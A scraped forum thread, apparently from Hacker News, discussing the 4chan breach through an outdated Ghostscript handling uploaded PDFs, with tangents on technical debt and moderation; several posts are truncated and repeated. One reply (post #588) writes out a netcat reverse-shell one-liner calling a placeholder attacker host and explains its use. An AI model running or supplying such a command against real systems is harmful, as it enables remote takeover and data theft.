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4chan Sharty Hack And Janitor Email Leak

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Re: 4chan Sharty Hack And Janitor Email Leak

#581

Earlier quoted context omitted.

That checks out. Years ago I noticed a vulnerability through the photography board. You'd upload your pictures, and 4chan would display all the EXIF info next to the post. 4chan's PHP code would offload that task to a well-know, but old and not very actively maintained EXIF library. Of course the thing with EXIF is that each camera vendor has their own proprietary extensions that need to be supported to make users ha…

> Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt. This describes probably 95%+ of the entire software world, from enterprise, to SaaS to IoT to mobile to desktop to embedded... Everything seems to be hastily thrown together features that barely work and piles of debt that will never get fixed. It's a wonder anything actually even w…

>If cars (the non-software parts) were made like this, there would be millions of them breaking down by the side of the road daily.

I’m an automotive CE… we’re getting there.

Cars used to be DONE at lots… now, there are weeks to finish code before the customer lays hands on, and that time is factored in now.

Worse with OTA updates. Now, so long as it’s fixed if enough customers complain that’s good enough.

Cars used to be great. Then some morons connected them to the internet for no good reasons.

Re: 4chan Sharty Hack And Janitor Email Leak

#582

Earlier quoted context omitted.

That checks out. Years ago I noticed a vulnerability through the photography board. You'd upload your pictures, and 4chan would display all the EXIF info next to the post. 4chan's PHP code would offload that task to a well-know, but old and not very actively maintained EXIF library. Of course the thing with EXIF is that each camera vendor has their own proprietary extensions that need to be supported to make users ha…

> Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt. This describes probably 95%+ of the entire software world, from enterprise, to SaaS to IoT to mobile to desktop to embedded... Everything seems to be hastily thrown together features that barely work and piles of debt that will never get fixed. It's a wonder anything actually even w…

I think about this daily.

Re: 4chan Sharty Hack And Janitor Email Leak

#583

Earlier quoted context omitted.

This is a pretty good take! It's because you could verbally attack and fight the 4chan idiots with a swarm of common sense and be lauded for doing that job. Doing the same on X will just get you banned for whatever reason Elon feels is best 'for the community'.

The pompous tone of your comment exemplifies what actually makes most social media platforms awful, which is how people act on them. Inconsistent moderation is everywhere, and most people getting banned from X absolutely deserve it. If you posted something like this on 4chan, people would quickly tell you to get off your high horse (in more vulgar terms). The nice thing about an anonymous message board is that withou…

HN really corroborates the inverse principle here - giving everyone names and karma doesn't seem to generate consistent, thoughtful contributions. It rewards apologia, groupthink and complacency, oftentimes the only interesting or unique viewpoint in a thread is flagged or karma-bombed to the bottom because it's a green username. The big HN "experiment" feels like it's stalled out, we've been getting the same results for years now. This website garners the reputation it has because everyone with power is out for themselves. There is no desire to accept change that threatens the collective interests of the tech industry, look at how HN reacts to regulations and war crimes and misinformation that technology inherently necessitates. It's thread after thread of hand-wringing, "it's not your fault" and then everyone is off to nerd-snipe each other over the semantic definition of a sorting algorithm.

Let HN, Reddit and X (or whatever it's called now) be a lesson to everyone - privately owned platforms are all just different brands of echo chamber. There is no obligation to change an echo chamber that makes you money or repeats what you want to hear.

Re: 4chan Sharty Hack And Janitor Email Leak

#585

I did some digging and the hacker posted which exploit he used. Apparently some boards allowed uploading PDF files, but the site never checked if the PDF file was an actual PDF file. Once a PDF file was uploaded it was passed to a version of Ghostscript from 2012 which would generate a thumbnail. So the attacker found an exploit where uploading a PDF with the right PostScript commands could give the attacker shell ac…

That checks out. Years ago I noticed a vulnerability through the photography board. You'd upload your pictures, and 4chan would display all the EXIF info next to the post. 4chan's PHP code would offload that task to a well-know, but old and not very actively maintained EXIF library. Of course the thing with EXIF is that each camera vendor has their own proprietary extensions that need to be supported to make users ha…

as someone who had to upgrade a stack from php 5.3 to 7.1 back in 2019... do you know what version of php they were running?

Re: 4chan Sharty Hack And Janitor Email Leak

#586
post #541

Earlier quoted context omitted.

> it's not really common knowledge that PDF is basically just a subset of postscript. Because that's not actually true? Check out the table in the PDF specification, Appendix A, p985, listing all the PDF operators and their totally different PostScript equivalents, when there are any: https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandard... The PDF imaging model is mostly borrowed from PostScript, though PDF's…

Key word: "basically" Read section 2.4 of the PDF you linked for a bit of additional information on this "bsaically". GhostScript is a postscript interpreter which can handle PDF files by applying the relatively simple transformations described in that section of the PDF. Whether they embedded the ghostscript exploit within the PDF, or didn't, it's not particularly important for making my point.

That seems like saying "Python is basically a subset of C; just run the simple transformations Cython implements". PDF can be transformed into something a PostScript interpreter can understand in the same way Python can be transformed into something GCC can understand. That is not what "subset" means.

Re: 4chan Sharty Hack And Janitor Email Leak

#587

I did some digging and the hacker posted which exploit he used. Apparently some boards allowed uploading PDF files, but the site never checked if the PDF file was an actual PDF file. Once a PDF file was uploaded it was passed to a version of Ghostscript from 2012 which would generate a thumbnail. So the attacker found an exploit where uploading a PDF with the right PostScript commands could give the attacker shell ac…

This is an old well known exploit. Don't run versions of ghostscript from 2012?

Does this vuln have a CVE number, or other details? Just curious, since from the posts explaining things this doesn't seem to be based on memory corruption.

Re: 4chan Sharty Hack And Janitor Email Leak

#588
post #550

Earlier quoted context omitted.

> could give the attacker shell access. How do these exploits work? Does it open an SSH port somewhere or does it show up as a browser-based terminal?

This is a great question, one I've always wondered. "Shell access" typically requires a terminal to, you know, type stuff in, right?

You can crate a reverse shell with just netcat. On your victim machine, where you can run a command but not necessarily listen on a port you can run something like:

    nc attacker.ip 9000 | /bin/bash
This will reach out to the attacker controlled machine and run an arbitrary payload hosted there. A simple payload would be opening a reverse shell to the attacker controlled machine from the victim. Because it's an outgoing connection it's less likely to be blocked by a firewall.

The reverse shell gives you further access to the victim machine and can be entirely scripted. You can then use additional exploits for privilege elevation or just pilfer whatever you've got access to.

Note this a super simple demonstration of the concept.

Re: 4chan Sharty Hack And Janitor Email Leak

#589

Earlier quoted context omitted.

Piling on the "some parts of 4chan was good until it wasn't" theme: I really liked /ck/ for a while. Then there was this weird trend of just like "all food tubers are garbage" whether that was "Kenji-Cucks", or people hating on Rageusa, or what ever. Combining that with the "post hands" request for a lot of food it was just an unpleasant community to participate it. Weirdly trying to load the page right now I'm getti…

Ragusea is an idiot, though and I arrived at that conclusion without any help from 4ch.

Why? He seems better than the average foodtuber.

Re: 4chan Sharty Hack And Janitor Email Leak

#590
post #550

I did some digging and the hacker posted which exploit he used. Apparently some boards allowed uploading PDF files, but the site never checked if the PDF file was an actual PDF file. Once a PDF file was uploaded it was passed to a version of Ghostscript from 2012 which would generate a thumbnail. So the attacker found an exploit where uploading a PDF with the right PostScript commands could give the attacker shell ac…

> could give the attacker shell access. How do these exploits work? Does it open an SSH port somewhere or does it show up as a browser-based terminal?

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